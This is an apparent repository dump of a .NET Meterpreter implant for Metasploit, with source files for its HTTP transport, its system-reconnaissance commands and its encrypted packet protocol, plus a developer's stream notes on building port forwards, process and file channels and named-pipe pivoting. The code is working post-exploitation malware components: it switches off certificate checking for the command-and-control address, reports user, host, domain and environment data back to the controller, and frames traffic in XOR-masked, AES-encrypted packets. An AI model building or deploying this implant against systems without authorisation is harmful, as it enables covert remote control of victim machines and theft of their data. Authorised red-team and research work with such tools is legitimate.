194 | private void RemoveSslVerificationHook() 195 | { 196 | if (this.sslHooked) 197 | { 198 | ServicePointManager.ServerCertificateValidationCallback -= SslValidator; 199 | this.sslHooked = false; 200 | } 201 | } 202 | 203 | private WebClient CreateWebClient() 204 | { 205 | var wc = new WebClient(); 206 | wc.UseDefaultCredentials = true; 207 | 208 | if (!string.IsNullOrEmpty(this.ProxyHost)) 209 | { 210 | wc.Proxy = new WebProxy(this.ProxyHost, true); 211 | 212 | if (string.IsNullOrEmpty(this.ProxyUser)) 213 | { 214 | wc.Credentials = CredentialCache.DefaultNetworkCredentials; 215 | } 216 | else 217 | { 218 | 219 | wc.Credentials = new NetworkCredential(this.ProxyUser, this.ProxyPass); 220 | } 221 | } 222 | 223 | return wc; 224 | } 225 | 226 | private bool SslValidator(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) 227 | { 228 | var req = sender as HttpWebRequest; 229 | if (req != null && req.RequestUri == this.Config.Uri) 230 | { 231 | return true; 232 | } 233 | 234 | return SslPolicyErrors.None == sslPolicyErrors; 235 | } 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /src/stdapi.net35/SysConfig.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Runtime.InteropServices; 7 | using System.Security.Principal; 8 | using System.Threading; 9 | 10 | namespace Met.Stdapi 11 | { 12 | public enum SystemArchictecture : uint 13 | { 14 | X86 = 1u, 15 | X64 = 2u 16 | } 17 | 18 | public class SysConfig 19 | { 20 | private const uint VER_NT_WORKSTATION = 1u; 21 | 22 | public void Register(string extName, PluginManager manager) 23 | { 24 | manager.RegisterFunction(extName, "stdapi_sys_config_getuid", false, this.GetUid); 25 | manager.RegisterFunction(extName, "stdapi_sys_config_sysinfo", false, this.GetSysinfo); 26 | manager.RegisterFunction(extName, "stdapi_sys_config_getenv", false, this.GetEnv); 27 | manager.RegisterFunction(extName, "stdapi_sys_config_localtime", false, this.GetLocalTime); 28 | } 29 | 30 | private InlineProcessingResult GetLocalTime(Packet request, Packet response) 31 | { 32 | var zone = TimeZone.CurrentTimeZone; 33 | var now = DateTime.Now; 34 | var offset = zone.GetUtcOffset(now); 35 | 36 | var hours = Math.Abs(offset.TotalHours); 37 | var utcOffset = Math.Floor(hours) * 100 + (hours - Math.Floor(hours)) * 60; 38 | var result = string.Format("{0:yyyy-MM-dd HH:mm:ss.fff} {1} (UTC{2}{3})", now, 39 | now.IsDaylightSavingTime() ? zone.DaylightName : zone.StandardName, 40 | offset.TotalHours > 0.0 ? "+" : "-", utcOffset); 41 | 42 | response.Add(TlvType.StdapiLocalDateTime, result); 43 | response.Result = PacketResult.Success; 44 | return InlineProcessingResult.Continue; 45 | } 46 | 47 | private InlineProcessingResult GetEnv(Packet request, Packet response) 48 | { 49 | var tlvs = default(List); 50 | if (request.Tlvs.TryGetValue(TlvType.StdapiEnvVariable, out tlvs)) 51 | { 52 | foreach (var envVar in tlvs.Select(t => t.ValueAsString())) 53 | { 54 | var value = Environment.GetEnvironmentVariable(envVar); 55 | var envGroup = response.AddGroup(TlvType.StdapiEnvGroup); 56 | envGroup.Add(TlvType.StdapiEnvVariable, envVar); 57 | envGroup.Add(TlvType.StdapiEnvValue, value); 58 | } 59 | } 60 | 61 | response.Result = PacketResult.Success; 62 | return InlineProcessingResult.Continue; 63 | } 64 | 65 | private InlineProcessingResult GetSysinfo(Packet request, Packet response) 66 | { 67 | response.Add(TlvType.StdapiComputerName, GetSystemMachineName()); 68 | response.Add(TlvType.StdapiOperatingSystemName, GetOsVersionString()); 69 | response.Add(TlvType.StdapiArchitecture, GetSystemArchitecture()); 70 | response.Add(TlvType.StdapiLangSystem, GetSystemLocale()); 71 | 72 | var domain = GetSystemDomainName(); 73 | if (!string.IsNullOrEmpty(domain)) 74 | { 75 | response.Add(TlvType.StdapiDomain, domain); 76 | } 77 | response.Result = PacketResult.Success; 78 | return InlineProcessingResult.Continue; 79 | } 80 | 81 | private InlineProcessingResult GetUid(Packet request, Packet response) 82 | { 83 | // TODO: validate that this works correctly when we impersonate other users or use `getsystem` 84 | response.Add(TlvType.StdapiUserName, WindowsIdentity.GetCurrent().Name); 85 | response.Result = PacketResult.Success; 86 | return InlineProcessingResult.Continue; 87 | } 88 | 89 | private string GetSystemMachineName() 90 | { 91 | return Environment.MachineName; 92 | } 93 | 94 | private string GetSystemLocale() 95 | { 96 | Thread.CurrentThread.CurrentCulture.ClearCachedData(); 97 | return Thread.CurrentThread.CurrentCulture.Name.Replace('-', '_'); 98 | } 99 | 100 | private string GetSystemDomainName() 101 | { 102 | try 103 | { 104 | // TODO: run this on a domain-joined machine 105 | var currentDomain = System.DirectoryServices.ActiveDirectory.Domain.GetComputerDomain(); 106 | return currentDomain.Name; 107 | } 108 | catch 109 | { 110 | return null; 111 | } 112 | } 113 | 114 | public static SystemArchictecture GetSystemArchitectureId() 115 | { 116 | return GetSystemArchitecture() == "x86" ? SystemArchictecture.X86 : SystemArchictecture.X64; 117 | } 118 | 119 | public static string GetSystemArchitecture() 120 | { 121 | var arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTUREW6432"); 122 | if (string.IsNullOrEmpty(arch)) 123 | { 124 | arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); 125 | } 126 | 127 | switch (arch) 128 | { 129 | case "AMD64": return "x64"; 130 | default: return arch; 131 | } 132 | } 133 | 134 | private string GetOsVersionString() 135 | { 136 | var name = "unknown"; 137 | 138 | var v = new Core.Native.Ntdll.RtlOSVersionInfoEx 139 | { 140 | dwOSVersionInfoSize = (uint)Marshal.SizeOf(typeof(Core.Native.Ntdll.RtlOSVersionInfoEx)) 141 | }; 142 | 143 | Core.Native.Ntdll.RtlGetVersion(ref v); 144 | var isWorkstation = v.wProductType == VER_NT_WORKSTATION; 145 | 146 | if (v.dwMajorVersion == 3) 147 | { 148 | name = "Windows NT 3.51"; 149 | } 150 | else if (v.dwMajorVersion == 4) 151 | { 152 | if (v.dwPlatformId == (uint)PlatformID.Win32Windows) 153 | { 154 | if (v.dwMinorVersion == 0) 155 | { 156 | name = "Windows 95"; 157 | } 158 | else if (v.dwMinorVersion == 10) 159 | { 160 | name = "Windows 98"; 161 | } 162 | else if (v.dwMinorVersion == 90) 163 | { 164 | name = "Windows ME"; 165 | } 166 | } 167 | else if (v.dwPlatformId == (uint)PlatformID.Win32NT) 168 | { 169 | name = "Windows NT 4.0"; 170 | } 171 | } 172 | else if (v.dwMajorVersion == 5) 173 | { 174 | if (v.dwMinorVersion == 0) 175 | { 176 | name = "Windows 2000"; 177 | } 178 | else if (v.dwMinorVersion == 1) 179 | { 180 | name = "Windows XP"; 181 | } 182 | else if (v.dwMinorVersion == 2) 183 | { 184 | name = "Windows .NET Server"; 185 | } 186 | } 187 | else if (v.dwMajorVersion == 6) 188 | { 189 | if (v.dwMinorVersion == 0) 190 | { 191 | name = isWorkstation ? "Windows Vista" : "Windows 2008"; 192 | } 193 | else if (v.dwMinorVersion == 1) 194 | { 195 | name = isWorkstation ? "Windows 7" : "Windows 2008 R2"; 196 | } 197 | else if (v.dwMinorVersion == 2) 198 | { 199 | name = isWorkstation ? "Windows 8" : "Windows 2012"; 200 | } 201 | else if (v.dwMinorVersion == 3) 202 | { 203 | name = isWorkstation ? "Windows 8.1" : "Windows 2012 R2"; 204 | } 205 | } 206 | else if (v.dwMajorVersion == 10) 207 | { 208 | name = isWorkstation ? "Windows 10" : "Windows 2016"; 209 | } 210 | 211 | var os = default(string); 212 | if (string.IsNullOrEmpty(v.szCSDVersion)) 213 | { 214 | os = string.Format("{0} (Build {1})", name, v.dwBuildNumber); 215 | } 216 | else 217 | { 218 | os = string.Format("{0} (Build {1}, {2})", name, v.dwBuildNumber, v.szCSDVersion); 219 | } 220 | 221 | #if DEBUG 222 | System.Diagnostics.Debug.WriteLine(string.Format("OS String: {0}", os)); 223 | #endif 224 | return os; 225 | } 226 | } 227 | } 228 | -------------------------------------------------------------------------------- /Parts-31-to-40.md: -------------------------------------------------------------------------------- 1 | # Part 31 - 30 April 2020 @ 20:00 AEST 2 | 3 | After a very long period of down time, thanks to life, work, rock climbing, and streaming CTF stuff, we're back with another .NET Meterpreter dev stream! I really enjoyed getting back into this. 4 | 5 | The session was a bit of a refresher for many of us, with some discussion of the inner workings of some of the existing MSF features. We spent a fair bit of time looking at how transport management works on both sides of the comms channel, and tweaked the MSF side a bit to make a bit more sense for us. We also implemented the ability to remove transports on the fly as promised. 6 | 7 | We also fixed a small issue where setting the return code/result on a packet multiple times was allowed and shouldn't have been! We may refactor this a little back into the TLV space at some point, but this will do for now. 8 | 9 | We're getting to the point where we can't delay implmenting channels, so I think we might just embark on that epic adventure on the next stream. 10 | 11 | [MSF Commit](https://github.com/OJ/metasploit-framework/commit/912329c6fbe8158f20194df82e72691853d7ee09) - [Vimeo](https://vimeo.com/413547361) - [YouTube](https://youtu.be/7oICP27gCAE) 12 | 13 | # Part 32 - 05 May 2020 @ 20:00 AEST 14 | 15 | As promised, we got started on building channel support into our CLR Meterpreter implementation. This is a big beast, and will probably end up taking a bit longer than I first thought. This is because this area of the Meterpreter functionality is not one that I'm intimately familiar with, and hence we're all learning about this stuff together. 16 | 17 | We decided to just get started with the simplest channel: TCP server (via the port forward functioanlity). This allows us to ge across the most basic usage of a channel before providing a better abstraction layer across other channel types such as processes and files. 18 | 19 | After covering off some of the theory, we got started with code and ended up getting to a point where MSF thinks we have a valid channel object on the other end of a TCP client channel. We do have an active and valid connection, but we don't have any form of channel management in place, nor the ability to shuffle data around as we would like. 20 | 21 | Next stream we'll try to finalise the data shuffling bit, and add the abstraction that allows us to talk to the channel while its doing the shuffling thing. 22 | 23 | [Vimeo](https://vimeo.com/415118815) - [YouTube](https://youtu.be/JgW4ks6L-z4) 24 | 25 | # Part 33 - 12 May 2020 @ 20:00 AEST 26 | 27 | Good constructive session tonight. The goal was to finalise the reading and writing to and from TCP client channels, and have them function as we would expect from both ends. We were able to achieve this goal! Standard port forwards are now a funcional thing, and they work nicely (as proved by curling and nc). 28 | 29 | Handling other types of channels should be easier now that we have this basic infrastructure in place. However, there is still more to do on the TCP client channel before we can put it to bed. Next stream, we'll aim to provide all of the channel options that are available. We also need to make sure that we cater for the error condition where the client isn't able to connect to the target. 30 | 31 | Once that's one of the way, we can move on to handling TCP server channels (reverse port forwards), and get going on file and process channels. 32 | 33 | [Vimeo](https://vimeo.com/417591044) - [YouTube](https://youtu.be/REU09qYkTrI) 34 | 35 | # Part 34 - 19 May 2020 @ 20:00 AEST 36 | 37 | So the plan with this session was to bash out the implementation of process channels. The aim was to allow for process execution, and them from there support interactivity via the channel abstraction. This would not only mean we could fire up processes, it would also mean that we would have reworked the channel code to be more abstract to support different channel types. 38 | 39 | It started so well! We even managed to merge Metasploit master relatively easily. But we hit a pretty crappy roadblock as soon as we got to handling stdout/stderr from the .NET Process object. 40 | 41 | The first couple of hours of the stream were fun and constructive. The latter two hours were a shitfight :D I got angry, frustrated, and tried a bunch of things that didn't work. It was nice that other people were hanging out and helping me work through it, offering suggestions, etc. But they came unstuck with me. We weren't able to get to the bottom of the issue. At midnight I threw in the towel. 42 | 43 | I don't like going to bed on a low note. But clearly something ticked over in my head last night, and I woke up this morning with an idea. So, sticking with my rule of making sure that I code everything live on stream, I wrote up a little project locally to play with the problem. While my original idea didn't work, it did lead me down the path of something that DID work. 44 | 45 | So on the next stream, I'm going to implement that fix. Together, we can all lament about it. 46 | 47 | [Vimeo](https://vimeo.com/420533237) - [YouTube](https://youtu.be/WLNiJWSAVmo) 48 | 49 | # Part 35 - 26 May 2020 @ 20:00 AEST 50 | 51 | As promised in the notes on the previous stream, we started this stream by fixing the issues with the process channels we started on the last one. I whipped through it using a sample program I wrote behind the scenes, tidied a few things up and moved on to TCP Server channels. 52 | 53 | We managed to get through thoughts without too much pain, which was great. The channels appear to function as they should, even though we haven't done anything with buffering yet. 54 | 55 | So on the whole, progress on the channel front is going well. I know that when the time comes to support things like impersonation when creating processes that things will get a little trickier, but for now we'll just ride the small wave of wins. 56 | 57 | Up next week? Really not sure! Let's play it by ear. 58 | 59 | [Vimeo](https://vimeo.com/422770738) - [YouTube](httpsi//youtu.be/WLNiJWSAVmo) 60 | 61 | # Part 36 - 02 June 2020 @ 20:00 AEST 62 | 63 | On this stream we added support for simple "file channels". This allows us to provide the underlying functionality required to drive multiple commands from Metasploit, including `upload`, `download`, `edit` and `cat`. To support this we had to work on our channel abstraction a little and refactor the interface to make it more sane. 64 | 65 | It would appear so far that the notion of "class" for a channel indicates what its capabilities are, so next stream we may need to revisit this stuff to make sure we are doing the right thing. We'll probably also make sure that the flags are accurate as well, as I'm still not sure where and how "buffered" vs "sync" channels are used. 66 | 67 | Another great turnout with a few new faces. Thoroughly enjoyed it. 68 | 69 | [Vimeo](https://vimeo.com/425109674) - [YouTube](https://youtu.be/b9smcKzwj2k) 70 | 71 | # Part 37 - 09 June 2020 @ 20:00 AEST 72 | 73 | We started by checking that a few things works as expected (such as recursive downloads). We then properly wired in the EOF check for file streams before implementing the `play` feature. This was a bit of fun and we all got to hear the magical sounds of Batman. 74 | 75 | After that, we collectively made the decision to dive into packet pivoting. The beginnings of the infra have been built to make this happen, though we didn't get to the end. We have the ability to listen on Named Pipes and we can even start the staging process. Exciting times. 76 | 77 | On the next stream we need to inform MSF of new client connections, handle session guids, and handle the dispatching of packets to different sessions based on their GUIDs. Plenty to do, but should be fun. 78 | 79 | [Vimeo](https://vimeo.com/427362794) - [YouTube](https://youtu.be/DuOeCfOQxBQ) 80 | 81 | # Part 38 - 17 June 2020 @ 20:00 AEST 82 | 83 | The aim of the stream was to finish off the packet pivots. However, this was one of those sessions where things didn't go as intended. It took a bit to get into the vibe, and for some reason I had forgotten to send the size of the stage down the wire when the pipe connection first came in. As a result, we had a little sojourn into debugging native Meterpreter to figure out what was going on. That was fun and educational, but a bit of a distraction. 84 | 85 | We ended up not getting it done, thanks to some odd behaviour with NamedPipeServerStream objects wrapped up in BinaryReader objects. For some reason reading a subset of data off the pipe doesn't seem to be working as we would like. This is something that we're going to have to get to the bottom of on the next stream. 86 | 87 | [Vimeo](https://vimeo.com/429968828) - [YouTube](https://youtu.be/FjzGMskTPAg) 88 | 89 | # Part 39 - 29 July 2020 @ 20:00 AEST 90 | 91 | First time back at streaming for well over a month. Took a bit to get back into the swing of it, but we got to the point where we were able to read packets from the Named Pipe pivot after a bit of mucking around. The code is definitely messy and requires some refactoring, but we're at least at a point where we're able to communicate with both ends of the pivot. 92 | 93 | Next stream we're going to finalise this code, make sure that MSF is able to handle the pivoted session, and that the middle agent is able to keep track of the packets and agents that are pivoting through it. From there we can refactor the code to be less messy and move on. 94 | 95 | [Vimeo](https://vimeo.com/)442677826 - [YouTube](https://youtu.be/0awhQUW7-7I) 96 | -------------------------------------------------------------------------------- /src/metsrv.net35/Proto/Packet.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | 9 | namespace Met.Core.Proto 10 | { 11 | public enum PacketResult : UInt32 12 | { 13 | Success = 0u, 14 | InvalidFunction = 1u, 15 | InvalidData = 13u, 16 | CallNotImplemented = 120u, 17 | BadArguments = 160u, 18 | ErrorAlreadyExists = 183u, 19 | } 20 | 21 | public enum PacketType : UInt32 22 | { 23 | Request = 0u, 24 | Response = 1u, 25 | PlainRequest = 10u, 26 | PlainResponse = 11u 27 | } 28 | 29 | public class Packet : ITlv 30 | { 31 | public const int HEADER_SIZE = 4 + 16 + 4 + 4 + 4; 32 | private const int ENC_LENGTH = 20; 33 | private const int OFFSET_LENGTH = 24; 34 | 35 | private PacketType type; 36 | private RNGCryptoServiceProvider random = null; 37 | 38 | public Dictionary> Tlvs { get; private set; } 39 | 40 | public string RequestId 41 | { 42 | get { return this.Tlvs[TlvType.RequestId].First().ValueAsString(); } 43 | private set 44 | { 45 | this.Tlvs.Remove(TlvType.RequestId); 46 | this.Add(TlvType.RequestId, value); 47 | } 48 | } 49 | 50 | public string Method 51 | { 52 | get { return this.Tlvs[TlvType.Method].First().ValueAsString(); } 53 | private set 54 | { 55 | this.Tlvs.Remove(TlvType.Method); 56 | this.Add(TlvType.Method, value); 57 | } 58 | } 59 | 60 | public PacketResult Result 61 | { 62 | get { return (PacketResult)this.Tlvs[TlvType.Result].First().ValueAsDword(); } 63 | set 64 | { 65 | this.Tlvs.Remove(TlvType.Result); 66 | this.Add(TlvType.Result, (UInt32)value); 67 | } 68 | } 69 | 70 | private RNGCryptoServiceProvider Random 71 | { 72 | get 73 | { 74 | if (this.random == null) 75 | { 76 | this.random = new RNGCryptoServiceProvider(); 77 | } 78 | 79 | return this.random; 80 | } 81 | } 82 | 83 | private Packet() 84 | { 85 | this.Tlvs = new Dictionary>(); 86 | } 87 | 88 | public Packet(string method) 89 | : this() 90 | { 91 | this.type = PacketType.Request; 92 | this.Method = method; 93 | this.RequestId = Guid.NewGuid().ToString().Replace("-", ""); 94 | } 95 | 96 | public Packet(BinaryReader reader, PacketEncryptor packetEncryptor = null) 97 | : this() 98 | { 99 | packetEncryptor = packetEncryptor ?? PacketEncryptor.Blank; 100 | var header = reader.ReadBytes(HEADER_SIZE); 101 | var packetBody = default(byte[]); 102 | var xorKey = new byte[4]; 103 | Array.Copy(header, xorKey, xorKey.Length); 104 | header.Xor(xorKey); 105 | 106 | var encrypted = false; 107 | var packetType = PacketType.Request; 108 | 109 | using (var headerStream = new MemoryStream(header)) 110 | using (var headerReader = new BinaryReader(headerStream)) 111 | { 112 | // Move to the encryption flags 113 | headerReader.BaseStream.Seek(ENC_LENGTH, SeekOrigin.Begin); 114 | var encFlags = headerReader.ReadDword(); 115 | var bytesToRead = headerReader.ReadDword() - 8; 116 | packetType = headerReader.ReadPacketType(); 117 | packetBody = reader.ReadBytes((int)bytesToRead); 118 | 119 | encrypted = encFlags == PacketEncryptor.ENC_AES256; 120 | } 121 | 122 | packetBody.Xor(xorKey); 123 | if (encrypted) 124 | { 125 | // TODO: if we don't have a packet encryptor, then we should probably 126 | // bail out. 127 | packetBody = packetEncryptor.AesDecrypt(packetBody); 128 | } 129 | 130 | ParseData(packetType, ref packetBody); 131 | } 132 | 133 | public byte[] ToRaw(Guid sessionGuid, PacketEncryptor packetEncryptor = null) 134 | { 135 | return this.ToRaw(sessionGuid.ToByteArray(), packetEncryptor); 136 | } 137 | 138 | public byte[] ToRaw(byte[] sessionGuid, PacketEncryptor packetEncryptor = null) 139 | { 140 | var packetData = default(byte[]); 141 | packetEncryptor = packetEncryptor ?? PacketEncryptor.Blank; 142 | 143 | using (var packetStream = new MemoryStream()) 144 | using (var writer = new BinaryWriter(packetStream)) 145 | { 146 | var tlvData = default(byte[]); 147 | 148 | using (var tlvStream = new MemoryStream()) 149 | using (var tlvWriter = new BinaryWriter(tlvStream)) 150 | { 151 | foreach (var tlv in this.Tlvs.Values.AsEnumerable().Flatten()) 152 | { 153 | tlv.ToRaw(tlvWriter); 154 | } 155 | tlvData = packetEncryptor.Encrypt(tlvStream.ToArray()); 156 | } 157 | 158 | // Write a zero XOR key, which gets filled in later. 159 | writer.WriteDword(0u); 160 | 161 | writer.Write(sessionGuid); 162 | writer.WriteDword(packetEncryptor.Flags); 163 | writer.WriteDword((UInt32)tlvData.Length + 8u); 164 | writer.WritePacketType(this.type); 165 | writer.Write(tlvData); 166 | 167 | packetData = packetStream.ToArray(); 168 | } 169 | 170 | packetData.Xor(GenerateXorKey()); 171 | 172 | return packetData; 173 | } 174 | 175 | public Packet CreateResponse() 176 | { 177 | var response = new Packet 178 | { 179 | type = this.type == PacketType.Request ? PacketType.Response : PacketType.PlainResponse, 180 | }; 181 | 182 | response.Add(TlvType.RequestId, this.RequestId); 183 | response.Add(TlvType.Method, this.Method); 184 | 185 | return response; 186 | } 187 | 188 | public Tlv Add(TlvType type, PacketResult value) 189 | { 190 | return this.Add(new Tlv(type, (UInt32)value)); 191 | } 192 | 193 | public Tlv Add(TlvType type, string value) 194 | { 195 | return this.Add(new Tlv(type, value)); 196 | } 197 | 198 | public Tlv Add(TlvType type, bool value) 199 | { 200 | return this.Add(new Tlv(type, value)); 201 | } 202 | 203 | public Tlv Add(TlvType type, byte[] value) 204 | { 205 | return this.Add(new Tlv(type, value)); 206 | } 207 | 208 | public Tlv Add(TlvType type, byte[] value, int size) 209 | { 210 | return this.Add(new Tlv(type, value, size)); 211 | } 212 | 213 | public Tlv Add(TlvType type, Int32 value) 214 | { 215 | return this.Add(new Tlv(type, (UInt32)value)); 216 | } 217 | 218 | public Tlv Add(TlvType type, UInt32 value) 219 | { 220 | return this.Add(new Tlv(type, value)); 221 | } 222 | 223 | public Tlv Add(TlvType type, UInt64 value) 224 | { 225 | return this.Add(new Tlv(type, value)); 226 | } 227 | 228 | public Tlv Add(TlvType type, Int64 value) 229 | { 230 | return this.Add(new Tlv(type, (UInt64)value)); 231 | } 232 | 233 | public Tlv Add(TlvType type, T value) where T : struct 234 | { 235 | var meta = type.ToMetaType(); 236 | if (meta != MetaType.Raw && meta != MetaType.Complex) 237 | { 238 | throw new ArgumentException(string.Format("Unable to serialise struct to type: {0}", meta)); 239 | } 240 | 241 | return this.Add(new Tlv(type, value.ToByteArray())); 242 | } 243 | 244 | public Tlv AddGroup(TlvType type) 245 | { 246 | return this.Add(new Tlv(type)); 247 | } 248 | 249 | public Tlv Add(Tlv tlv) 250 | { 251 | var tlvs = default(List); 252 | 253 | if (this.Tlvs.TryGetValue(tlv.Type, out tlvs)) 254 | { 255 | tlvs.Add(tlv); 256 | } 257 | else 258 | { 259 | this.Tlvs.Add(tlv.Type, new List { tlv }); 260 | } 261 | 262 | return tlv; 263 | } 264 | 265 | #if DEBUG 266 | public override string ToString() 267 | { 268 | var s = new StringBuilder(); 269 | s.AppendFormat("Packet Type: {0}\n", this.type); 270 | foreach (var k in this.Tlvs) 271 | { 272 | foreach (var tlv in k.Value) 273 | { 274 | s.AppendFormat(tlv.ToString()); 275 | } 276 | } 277 | return s.ToString(); 278 | } 279 | #endif 280 | 281 | private void ParseData(PacketType type, ref byte[] data) 282 | { 283 | this.type = type; 284 | 285 | using (var stream = new MemoryStream(data)) 286 | using (var reader = new BinaryReader(stream)) 287 | { 288 | while (!reader.IsFinished()) 289 | { 290 | Add(new Tlv(reader)); 291 | } 292 | } 293 | } 294 | 295 | private byte[] GenerateXorKey() 296 | { 297 | var bytes = new byte[4]; 298 | this.Random.GetBytes(bytes); 299 | return bytes; 300 | } 301 | } 302 | } 303 | --------------------------------------------------------------------------------